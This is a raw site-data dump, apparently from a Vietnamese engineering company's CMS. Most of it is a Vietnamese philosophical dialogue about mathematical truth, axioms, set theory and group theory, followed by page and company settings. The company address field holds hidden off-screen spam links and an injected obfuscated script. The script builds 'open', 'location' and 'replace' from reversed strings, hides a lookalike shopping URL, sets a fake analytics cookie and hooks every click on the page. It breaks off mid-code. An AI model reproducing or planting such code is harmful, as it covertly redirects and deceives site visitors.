chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const 